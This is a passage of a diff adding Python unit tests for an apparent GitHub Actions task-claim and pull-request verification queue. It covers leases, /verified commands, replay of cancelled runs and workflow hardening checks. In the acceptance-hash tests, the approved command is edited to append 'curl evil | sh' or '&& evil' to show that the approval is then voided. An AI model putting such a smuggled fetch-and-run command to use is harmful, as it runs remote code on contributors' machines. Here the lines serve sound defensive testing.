self.assertTrue(L.lapsed(task(), c, [], CFG, NOW))
def test_linked_pr_push_renews(self):
pr = {"author": "gpuer", "body": "Closes #1", "head_pushed_at": "2026-01-10T08:00:00Z"}
self.assertFalse(L.lapsed(task(), [grant("2026-01-09T11:00:00Z")], [pr], CFG, NOW))
other = dict(pr, author="rt")
self.assertTrue(L.lapsed(task(), [grant("2026-01-09T11:00:00Z")], [other], CFG, NOW))
def test_audit_lapses_and_skips_blocked(self):
st = state(issue(1, labels=HELD), task_comments={"1": [grant("2026-01-09T11:00:00Z")]})
a = audit(st, CFG, NOW)
self.assertEqual(a[0]["issue"], 1)
self.assertIn("agent:ready", a[0]["add_labels"])
st = state(issue(1, labels=HELD + ("agent:blocked",)), task_comments={"1": [grant("2026-01-09T11:00:00Z")]})
self.assertEqual(audit(st, CFG, NOW), [])
def test_audit_invalid_cycle_and_missing(self):
st = state(issue(1, deps="#2"), issue(2, deps="#1", files="b/"), issue(3, deps="#99", files="c/"))
marked = {a["issue"]: a for a in audit(st, CFG, NOW)}
self.assertEqual(sorted(marked), [1, 2, 3])
self.assertIn("agent:invalid", marked[3]["add_labels"])
def test_audit_recovers_invalid(self):
st = state(issue(1, labels=("agent:invalid",)))
self.assertEqual(audit(st, CFG, NOW)[0]["add_labels"], ["agent:ready"])
class Acceptance(unittest.TestCase):
def test_hash_ignores_whitespace_and_fences(self):
self.assertEqual(T.acceptance_hash("cargo test\n"), T.acceptance_hash("```sh\ncargo test\n```"))
self.assertNotEqual(T.acceptance_hash("cargo test"), T.acceptance_hash("cargo test -- x"))
def test_mismatch_after_body_edit(self):
approved = L.acceptance_marker(T.acceptance_hash("cargo test -p gpu"))
cs = [comment(BOT, approved)]
self.assertEqual(L.approved_hash(cs), T.acceptance_hash(T.parse_task(issue(1))["acceptance"]))
edited = T.parse_task(issue(1, acceptance="cargo test -p gpu; curl evil | sh"))
self.assertNotEqual(L.approved_hash(cs), T.acceptance_hash(edited["acceptance"]))
def test_approval_from_non_bot_ignored(self):
cs = [comment("rt", L.acceptance_marker("0" * 64))]
self.assertIsNone(L.approved_hash(cs))
class Deps(unittest.TestCase):
def test_parse_fields_and_empty(self):
t = T.parse_task(issue(1, deps="#3, #2", interface="gpu-abi v2", prio="critical"))
self.assertEqual((t["depends"], t["interface"], t["priority"]), ([2, 3], "gpu-abi v2", "critical"))
e = T.parse_task(issue(1))
self.assertEqual(e["depends"], [])
self.assertEqual(e["interface"], "")
def test_cycle_report(self):
ts = {n: T.parse_task(issue(n, deps=d)) for n, d in ((1, "#2"), (2, "#3"), (3, "#1"), (4, ""))}
cyc = T.find_cycles(ts)
self.assertEqual(len(cyc), 1)
self.assertEqual(sorted(set(cyc[0])), [1, 2, 3])
+33
View File
@@ -0,0 +1,33 @@
# SPDX-License-Identifier: GPL-3.0-or-later
import unittest
import helpers # noqa: F401
from agent_queue.patterns import patterns_overlap as ov, path_matches as pm, sets_overlap
class Patterns(unittest.TestCase):
def test_matches(self):
self.assertTrue(pm("a/b.rs", "a/b.rs"))
self.assertTrue(pm("a/b/c.rs", "a/"))
self.assertFalse(pm("ab/c.rs", "a/"))
self.assertTrue(pm("a/b.rs", "a/*.rs"))
self.assertFalse(pm("a/x/b.rs", "a/*.rs"))
self.assertTrue(pm("a/x/y/b.rs", "a/**/b.rs"))
self.assertTrue(pm("a/b.rs", "a/**/b.rs"))
self.assertTrue(pm("a/x/y.rs", "a/**"))
def test_overlap_exact_dir_glob(self):
self.assertTrue(ov("a/b.rs", "a/b.rs"))
self.assertFalse(ov("a/b.rs", "a/c.rs"))
self.assertTrue(ov("a/", "a/b/c.rs"))
self.assertTrue(ov("a/b/", "a/"))
self.assertFalse(ov("a/", "b/"))
self.assertTrue(ov("a/**", "a/x/y.rs"))
self.assertTrue(ov("a/*.rs", "a/"))
self.assertTrue(ov("a/**/gpu/*.rs", "a/x/"))
self.assertFalse(ov("a/x*", "a/y*"))
self.assertFalse(ov("a/b.rs", "a/*.txt"))
def test_sets(self):
self.assertEqual(sets_overlap(["x/a.rs", "y/"], ["z.rs", "y/q.rs"]), ("y/", "y/q.rs"))
self.assertIsNone(sets_overlap(["x/a.rs"], ["y/"]))
+158
View File
@@ -0,0 +1,158 @@
# SPDX-License-Identifier: GPL-3.0-or-later
import json
import unittest
from helpers import CFG, NOW, issue, state
from agent_queue import lease as L
from agent_queue.decide import decide, rerun_check
from agent_queue.prcheck import check_pr
from agent_queue.queue import summary
BOT = "github-actions[bot]"
SHA = "0123456789abcdef" * 2 + "01234567"
HELD = ("agent:claimed", "claimed-by:gpuer")
def pr(n=10, author="gpuer", files=("src/gpu/a.rs",), body="Closes #1", sha=SHA):
return {"number": n, "author": author, "body": body, "head_sha": sha,
"head_pushed_at": "2026-01-10T11:00:00Z", "files": list(files), "state": "OPEN"}
def run(p, comments=(), others=(), issues=None):
st = state(*(issues or [issue(1, labels=HELD)]), prs=[p] + list(others),
task_comments={"1": [{"user": BOT, "body": L.grant_marker(1, "gpuer"), "created_at": "2026-01-10T01:00:00Z"}]})
st["pr"], st["pr_comments"] = p, list(comments)
return check_pr(st, CFG, NOW)
def vc(user, sha=SHA):
return {"user": user, "body": "/verified " + sha, "created_at": "2026-01-10T11:30:00Z"}
class PRChecks(unittest.TestCase):
def test_clean_pr_passes(self):
r = run(pr(), [vc("qaer")])
self.assertTrue(r["ok"], r)
self.assertEqual(r["verified_by"], ["qaer"])
def test_verification_needs_no_bot_reply(self):
# A /verified whose verify run was cancelled while pending has no bot reply; the check reads
# the comments themselves, so the surviving run's re-run still counts it.
r = run(pr(), [vc("qaer"), vc("maint"), {"user": BOT, "body": "Verification of %s recorded for maint." % SHA[:12],
"created_at": "2026-01-10T11:31:00Z"}])
self.assertTrue(r["ok"], r)
self.assertEqual(r["verified_by"], ["qaer", "maint"])
def test_missing_link(self):
r = run(pr(body="no link"), [vc("qaer")])
self.assertFalse(r["ok"])
self.assertIn("no linked task", r["problems"][0])
def test_ownership_violation(self):
r = run(pr(files=("src/gpu/a.rs", "src/cpu/x.rs")), [vc("qaer")])
self.assertFalse(r["ok"])
self.assertTrue(any("outside task #1" in p and "src/cpu/x.rs" in p for p in r["problems"]))
def test_cross_pr_overlap(self):
other = pr(n=11, author="rt", files=("src/gpu/a.rs",), body="Closes #2")
r = run(pr(), [vc("qaer")], others=[other])
self.assertTrue(any("overlaps open PR #11" in p for p in r["problems"]))
def test_task_held_by_someone_else(self):
r = run(pr(author="rt"), [vc("qaer")])
self.assertTrue(any("not the pull request author" in p for p in r["problems"]))
def test_unverified(self):
r = run(pr())
self.assertTrue(any("verification missing" in p for p in r["problems"]))
def test_verification_by_author_or_holder_rejected(self):
self.assertFalse(run(pr(), [vc("gpuer")])["ok"])
# holder of the linked task who is not the author
r = run(pr(author="maint"), [vc("gpuer")])
self.assertEqual(r["verified_by"], [])
def test_verification_by_ineligible_rejected(self):
self.assertEqual(run(pr(), [vc("rt")])["verified_by"], [])
def test_stale_sha_rejected(self):
r = run(pr(), [vc("deadbeef00")])
self.assertEqual(r["verified_by"], [])
self.assertFalse(r["ok"])
def test_lapsed_claim_and_stale_head(self):
p = pr()
p["head_pushed_at"] = "2026-01-08T00:00:00Z"
st = state(issue(1, labels=HELD), prs=[p], task_comments={"1": [
{"user": BOT, "body": L.grant_marker(1, "gpuer"), "created_at": "2026-01-08T00:00:00Z"}]})
st["pr"], st["pr_comments"] = p, [vc("qaer")]
self.assertTrue(any("lapsed" in x for x in check_pr(st, CFG, NOW)["problems"]))
class VerifiedCommand(unittest.TestCase):
def go(self, actor, sha=SHA, author="gpuer"):
st = state(issue(1, labels=HELD))
st["pr"] = pr(author=author)
ev = {"kind": "pr", "number": 10, "actor": actor, "body": "/verified " + sha}
return decide(ev, st, CFG)[0]["comment"]
def test_outcomes(self):
self.assertIn("recorded", self.go("qaer"))
self.assertIn("author cannot", self.go("gpuer"))
self.assertIn("holds the linked task", self.go("gpuer", author="maint"))
self.assertIn("may not verify", self.go("rt"))
self.assertIn("not the full current head", self.go("qaer", sha="1234567"))
class VerifiedRerun(unittest.TestCase):
"""Only an accepted /verified of the current head may re-run the pull request check (#210)."""
def rerun(self, actor, text, author="gpuer"):
st = state(issue(1, labels=HELD))
st["pr"] = pr(author=author)
return rerun_check(decide({"kind": "pr", "number": 10, "actor": actor, "body": text}, st, CFG))
def test_accepted_current_head_reruns(self):
self.assertTrue(self.rerun("qaer", "/verified " + SHA))
self.assertTrue(self.rerun("maint", "/verified " + SHA + "\nran the acceptance command"))
def test_ordinary_comments_do_not_rerun(self):
for text in ("looks good", "LGTM /verified " + SHA, "", "thanks\n/verified " + SHA):
self.assertFalse(self.rerun("qaer", text), text)
def test_malformed_do_not_rerun(self):
for text in ("/verified", "/verified abc", "/verified" + SHA, "/verified " + SHA[:12], "/verified " + SHA[:6],
"/Verified " + SHA, "/verified " + SHA.upper(), "/verified " + SHA + " " + SHA, "/verified " + SHA + "0"):
self.assertFalse(self.rerun("qaer", text), text)
def test_stale_and_unknown_heads_do_not_rerun(self):
self.assertFalse(self.rerun("qaer", "/verified " + "b" * 40))
# Same 12-character prefix, different commit: a short prefix is cheap to collide.
self.assertFalse(self.rerun("qaer", "/verified " + SHA[:12] + "f" * 28))
def test_unauthorized_do_not_rerun(self):
self.assertFalse(self.rerun("gpuer", "/verified " + SHA)) # author
self.assertFalse(self.rerun("gpuer", "/verified " + SHA, author="maint")) # task holder
self.assertFalse(self.rerun("rt", "/verified " + SHA)) # not a verifier
self.assertFalse(self.rerun("stranger", "/verified " + SHA))
def test_rerun_agrees_with_the_check(self):
# Whatever re-runs the check must also be counted by it, and the other way round.
for actor in ("qaer", "maint", "gpuer", "rt"):
for sha in (SHA, SHA[:12], "b" * 40):
counted = actor in run(pr(), [vc(actor, sha)])["verified_by"]
self.assertEqual(self.rerun(actor, "/verified " + sha), counted, (actor, sha))
class Summary(unittest.TestCase):
def test_shape_and_json(self):
st = state(issue(1), issue(2, labels=HELD, area="cpu", prio="low"), issue(3, labels=("bug",)))
st["prs"] = [pr()]
s = json.loads(json.dumps(summary(st, "2026-01-10T12:00:00Z")))
self.assertEqual(set(s), {"generated_at", "totals", "by_area", "tasks", "pull_requests"})
self.assertEqual(s["totals"], {"ready": 1, "claimed": 1})
self.assertEqual(s["by_area"]["gpu"]["high"]["ready"], [1])
self.assertEqual(s["by_area"]["cpu"]["low"]["claimed"], [2])
self.assertEqual([t["number"] for t in s["tasks"]], [1, 2])
self.assertEqual(s["tasks"][1]["holder"], "gpuer")
self.assertEqual(s["pull_requests"][0]["links"], [1])
+158
View File
@@ -0,0 +1,158 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Claim concurrency: one group, pending runs cancelled by newer ones, replay of unanswered commands."""
import copy
import unittest
from helpers import CFG, NOW, issue, state
from agent_queue import replay as R
from agent_queue.decide import decide
from agent_queue.lease import GRANT
BOT = "github-actions[bot]"
def cmd(cid, user, text, n, at="2026-01-10T11:00:00Z", pr=False):
return {"id": cid, "user": user, "body": text, "created_at": at, "issue": n, "pull_request": pr}
def queue_state(comments):
# #1 and #2 share src/gpu/a.rs; #3 is independent.
return state(issue(1), issue(2), issue(3, files="src/gpu/b.rs"), recent_comments=comments)
def granted(actions):
return sorted((int(m.group(1)), m.group(2)) for a in actions for m in [GRANT.search(a["comment"])] if m)
def simulate(posted, run_once):
"""GitHub concurrency group with cancel-in-progress: false. Each comment queues a run; while a
run is in progress one run may wait, and a newly queued run cancels the waiting one. Here every
comment arrives while the first run is still in progress. Returns the posted bot replies."""
st = queue_state([])
issues = st["issues"]
timeline, replies = [], []
in_progress, pending = posted[0], None
for c in posted[1:]:
pending = c # an older pending run, if any, is cancelled here
for trigger, visible in ((in_progress, posted[:1]), (pending, posted)):
if trigger is None:
continue
view = {"issues": issues, "prs": [], "task_comments": {},
"recent_comments": visible + timeline}
actions = run_once(trigger, view)
for a in actions:
R._apply(st, a)
timeline.append({"id": 10_000 + len(timeline), "user": BOT, "body": a["comment"],
"created_at": "2026-01-10T11:30:00Z", "issue": a["issue"], "pull_request": False})
replies.extend(actions)
return replies
def event_only(trigger, view):
"""The previous design: a run decides only the comment that started it."""
return decide({"kind": "issue", "number": trigger["issue"], "actor": trigger["user"], "body": trigger["body"]},
view, CFG)
def with_replay(trigger, view):
return R.replay(view, CFG, NOW)
POSTED = [
cmd(1, "maint", "/claim", 3, "2026-01-10T11:00:00Z"),
cmd(2, "gpuer", "/claim", 1, "2026-01-10T11:00:01Z"),
cmd(3, "maint", "/claim", 2, "2026-01-10T11:00:02Z"), # overlaps #1 on src/gpu/a.rs
cmd(4, "gpuer", "/progress parser done", 1, "2026-01-10T11:00:03Z"),
]
class PendingCancellation(unittest.TestCase):
def test_deciding_only_the_trigger_loses_cancelled_commands(self):
# Runs 2 and 3 are cancelled while pending: gpuer's claim on #1 is never answered.
self.assertEqual(granted(simulate(POSTED, event_only)), [(3, "maint")])
def test_replay_answers_every_command_of_cancelled_runs(self):
replies = simulate(POSTED, with_replay)
self.assertEqual(granted(replies), [(1, "gpuer"), (3, "maint")])
refused = [a for a in replies if a["issue"] == 2]
self.assertEqual(len(refused), 1)
self.assertIn("file overlap with claimed task #1", refused[0]["comment"])
answered = R.answered([{"user": BOT, "body": a["comment"]} for a in replies])
self.assertEqual(answered, {1, 2, 3, 4})
class Replay(unittest.TestCase):
def run_replay(self, comments, st=None):
return R.replay(st or queue_state(comments), CFG, NOW)
def test_overlapping_claims_in_one_run_are_decided_in_order(self):
actions = self.run_replay([cmd(8, "maint", "/claim", 2, "2026-01-10T11:00:05Z"),
cmd(7, "gpuer", "/claim", 1, "2026-01-10T11:00:05Z")])
# Same second: the lower comment id is first.
self.assertEqual(granted(actions), [(1, "gpuer")])
self.assertIn("file overlap with claimed task #1", actions[1]["comment"])
self.assertIn(R.done_marker(8), actions[1]["comment"])
def test_out_of_order_listing_is_decided_in_comment_order(self):
# Listed newest first: the earlier claim on the shared file still wins.
actions = self.run_replay([cmd(9, "maint", "/claim", 2, "2026-01-10T11:00:09Z"),
cmd(5, "gpuer", "/claim", 1, "2026-01-10T11:00:01Z")])
self.assertEqual(granted(actions), [(1, "gpuer")])
self.assertEqual([a["issue"] for a in actions], [1, 2])
def test_duplicate_events_are_decided_once(self):
c = cmd(5, "gpuer", "/claim", 1)
actions = self.run_replay([c, dict(c), cmd(6, "maint", "/claim", 2, "2026-01-10T11:00:02Z")])
self.assertEqual(granted(actions), [(1, "gpuer")])
self.assertEqual(sum(R.done_marker(5) in a["comment"] for a in actions), 1)
def test_no_burst_order_grants_overlapping_claims(self):
# Every arrival order of a burst of claims on #1 and #2 (shared file) grants exactly one of them.
import itertools
burst = [cmd(1, "gpuer", "/claim", 1), cmd(2, "maint", "/claim", 2), cmd(3, "maint", "/claim", 1),
cmd(4, "gpuer", "/claim", 2), cmd(5, "maint", "/claim", 3)]
for order in itertools.permutations(range(5)):
comments = [dict(burst[i], created_at="2026-01-10T11:00:%02dZ" % k) for k, i in enumerate(order)]
g = granted(self.run_replay(comments))
self.assertEqual(len([x for x in g if x[0] in (1, 2)]), 1, (order, g))
self.assertIn((3, "maint"), g)
def test_answered_commands_are_not_decided_again(self):
first = self.run_replay([cmd(1, "gpuer", "/claim", 1)])
st = queue_state([cmd(1, "gpuer", "/claim", 1),
{"id": 2, "user": BOT, "body": first[0]["comment"], "created_at": "2026-01-10T11:01:00Z",
"issue": 1, "pull_request": False}])
for a in first:
R._apply(st, a)
self.assertEqual(R.replay(st, CFG, NOW), [])
def test_done_markers_count_only_from_the_bot(self):
forged = {"id": 2, "user": "rt", "body": R.done_marker(1), "created_at": "2026-01-10T11:01:00Z",
"issue": 1, "pull_request": False}
self.assertEqual(granted(self.run_replay([cmd(1, "gpuer", "/claim", 1), forged])), [(1, "gpuer")])
def test_ordinary_pr_and_old_comments_start_nothing(self):
self.assertEqual(self.run_replay([
cmd(1, "gpuer", "looks good to me", 1),
cmd(2, "gpuer", "/claim", 1, pr=True),
cmd(3, "maint", "/verified abcdef1", 1),
]), [])
def test_commands_older_than_the_lease_are_answered_as_expired(self):
actions = self.run_replay([cmd(4, "gpuer", "/claim", 1, "2026-01-09T11:00:00Z"),
cmd(5, "gpuer", "just a remark", 1, "2026-01-09T11:00:00Z")])
self.assertEqual(len(actions), 1)
self.assertEqual((actions[0]["issue"], actions[0]["add_labels"]), (1, []))
self.assertIn("Not decided", actions[0]["comment"])
self.assertIn(R.done_marker(4), actions[0]["comment"])
self.assertEqual(R.window_hours(CFG), 48)
def test_state_is_not_modified(self):
st = queue_state([cmd(1, "gpuer", "/claim", 1)])
before = copy.deepcopy(st)
self.assertEqual(len(R.replay(st, CFG, NOW)), 1)
self.assertEqual(st, before)
if __name__ == "__main__":
unittest.main()
+169
View File
@@ -0,0 +1,169 @@
# SPDX-License-Identifier: GPL-3.0-or-later
import json
import os
import re
import subprocess
import sys
import tempfile
import unittest
from helpers import ROOT, issue
def dump(obj, path):
with open(path, "w") as fh:
json.dump(obj, fh)
WF = os.path.join(ROOT, ".github", "workflows")
QUEUE_WORKFLOWS = ["agent-claims.yml", "agent-pr-checks.yml"]
USER_TEXT = re.compile(r"\$\{\{\s*github\.event\.(comment|issue|pull_request)\.(body|title)|github\.head_ref")
def run_blocks(text):
"""Text of every `run:` block (literal block scalar or single line)."""
out, lines, i = [], text.split("\n"), 0
while i < len(lines):
m = re.match(r"^(\s*)(?:- )?run:\s*(.*)$", lines[i])
if m:
indent, rest = len(m.group(1)), m.group(2)
if rest in ("|", ">", "|-", ">-"):
block = []
i += 1
while i < len(lines) and (not lines[i].strip() or len(lines[i]) - len(lines[i].lstrip()) > indent):
block.append(lines[i])
i += 1
out.append("\n".join(block))
continue
out.append(rest)
i += 1
return out
class Workflows(unittest.TestCase):
def read(self, name):
with open(os.path.join(WF, name), encoding="utf-8") as fh:
return fh.read()
def test_top_level_permissions_and_no_user_text_in_run(self):
for name in QUEUE_WORKFLOWS:
text = self.read(name)
self.assertRegex(text, r"(?m)^permissions:", name)
blocks = run_blocks(text)
self.assertTrue(blocks, name)
for b in blocks:
self.assertNotRegex(b, r"\$\{\{", "%s: expression inside run" % name)
self.assertIsNone(USER_TEXT.search(b), name)
def test_checker_detects_violation(self):
bad = "jobs:\n a:\n steps:\n - run: |\n echo ${{ github.event.comment.body }}\n"
self.assertTrue(any(re.search(r"\$\{\{", b) for b in run_blocks(bad)))
def test_pr_workflow_never_checks_out_pr_code(self):
text = self.read("agent-pr-checks.yml")
self.assertNotRegex(text, r"github\.event\.pull_request\.head|ref:\s*\$\{\{")
self.assertIn("pull_request_target", text)
def job(self, name, job):
"""Text of one job block: from ` <job>:` to the next two-space-indented key."""
m = re.search(r"(?ms)^ %s:\n(.*?)(?=^ \S|\Z)" % re.escape(job), self.read(name))
self.assertIsNotNone(m, "%s: job %s" % (name, job))
return m.group(1)
def job_if(self, name, job):
return re.search(r"(?m)^ if: (.*)$", self.job(name, job)).group(1)
def test_only_command_comments_start_runs(self):
# Ordinary comments must not start a claim run or a verification re-run.
self.assertIn("startsWith(github.event.comment.body, '/verified')", self.job_if("agent-pr-checks.yml", "verify"))
self.assertIn("startsWith(github.event.comment.body, '/')", self.job_if("agent-claims.yml", "command"))
self.assertNotIn("issue_comment", self.job_if("agent-pr-checks.yml", "check"))
def test_claim_jobs_share_one_group_and_replay(self):
for job in ("command", "audit"):
text = self.job("agent-claims.yml", job)
self.assertRegex(text, r"group: agent-queue\n\s+cancel-in-progress: false", job)
# Pending runs can be cancelled by newer ones, so every run replays unanswered commands.
self.assertIn("agent_queue replay", text, job)
self.assertIn("--recent-commands", text, job)
self.assertNotIn("agent_queue decide", self.job("agent-claims.yml", "command"))
def test_rerun_needs_an_accepted_verification(self):
text = self.job("agent-pr-checks.yml", "verify")
self.assertIn('if ! python3 -m agent_queue should-rerun --actions "$RUNNER_TEMP/actions.json"; then exit 0; fi', text)
self.assertLess(text.index("agent_queue should-rerun"), text.index("agent_queue pr-check"))
# The check is evaluated in this job: pull_request_target runs cannot be found by head SHA.
self.assertNotIn("gh run", text)
self.assertNotIn("actions: write", text)
self.assertIn("::warning title=Agent PR check (advisory)::", text)
def test_should_rerun_exit_codes(self):
with tempfile.TemporaryDirectory() as d:
p = os.path.join(d, "a.json")
for actions, code in (([], 1), ([{"issue": 4, "add_labels": [], "remove_labels": [], "comment": "refused"}], 1),
([{"issue": 4, "add_labels": [], "remove_labels": [], "comment": "ok", "rerun_check": True}], 0)):
dump(actions, p)
self.assertEqual(Cli.run_cli(self, "should-rerun", "--actions", p).returncode, code, actions)
def test_verify_runs_one_at_a_time_per_pull_request(self):
text = self.job("agent-pr-checks.yml", "verify")
self.assertRegex(text, r"group: agent-verify-\$\{\{ github\.event\.issue\.number \}\}\n\s+cancel-in-progress: false")
def test_pr_check_is_advisory(self):
# Exit status 1 (problems found) only warns until the live smoke test and issue migration.
text = self.job("agent-pr-checks.yml", "check")
found = re.search(r'if \[ "\$status" -eq 1 \]; then\n(.*?)\n\s+elif \[ "\$status" -ne 0 \]; then\n\s+exit "\$status"', text, re.S)
self.assertIsNotNone(found, text)
self.assertIn("::warning title=Agent PR check (advisory)::", found.group(1))
self.assertNotIn("exit", found.group(1))
self.assertEqual(text.count("exit "), 1)
def test_actions_pinned_by_sha(self):
for name in QUEUE_WORKFLOWS:
for use in re.findall(r"uses:\s*(\S+)", self.read(name)):
self.assertRegex(use, r"@[0-9a-f]{40}$", name)
class Cli(unittest.TestCase):
def run_cli(self, *args, stdin=None):
env = dict(os.environ, PYTHONPATH=os.path.join(ROOT, "scripts"))
return subprocess.run([sys.executable, "-m", "agent_queue", "--config", os.path.join(ROOT, ".github", "agent-queue.json")] + list(args),
input=stdin, capture_output=True, text=True, env=env)
def test_shipped_config_parses(self):
r = self.run_cli("config-get", "upstream")
self.assertEqual(r.returncode, 0, r.stderr)
self.assertEqual(r.stdout.strip(), "ranveersoni98/Xenora")
def test_acceptance_authorization_end_to_end(self):
from agent_queue import lease as L, tasks as T
i = issue(1)
digest = T.acceptance_hash("cargo test -p gpu")
with tempfile.TemporaryDirectory() as d:
ip, cp = os.path.join(d, "i.json"), os.path.join(d, "c.json")
dump(i, ip)
dump([], cp)
r = self.run_cli("acceptance", "--issue", ip, "--comments", cp)
self.assertEqual(r.returncode, 3)
self.assertEqual(r.stdout, "")
dump([{"user": "github-actions[bot]", "body": L.acceptance_marker(digest), "created_at": "2026-01-10T10:00:00Z"}], cp)
r = self.run_cli("acceptance", "--issue", ip, "--comments", cp)
self.assertEqual((r.returncode, r.stdout.strip()), (0, "cargo test -p gpu"))
i["body"] = i["body"].replace("cargo test -p gpu", "cargo test -p gpu && evil")
dump(i, ip)
self.assertEqual(self.run_cli("acceptance", "--issue", ip, "--comments", cp).returncode, 3)
def test_scripts_parse(self):
for s in ("agent-queue.sh", "agent-sync.sh"):
r = subprocess.run(["sh", "-n", os.path.join(ROOT, "scripts", s)], capture_output=True, text=True)
self.assertEqual(r.returncode, 0, r.stderr)
def test_event_normalisation(self):
with tempfile.TemporaryDirectory() as d:
p = os.path.join(d, "e.json")
dump({"issue": {"number": 4, "pull_request": {}}, "comment": {"body": "/verified abc1234", "user": {"login": "q"}}}, p)
out = json.loads(self.run_cli("event", "--path", p).stdout)
self.assertEqual(out, {"kind": "pr", "number": 4, "actor": "q", "body": "/verified abc1234"})
if __name__ == "__main__":
unittest.main()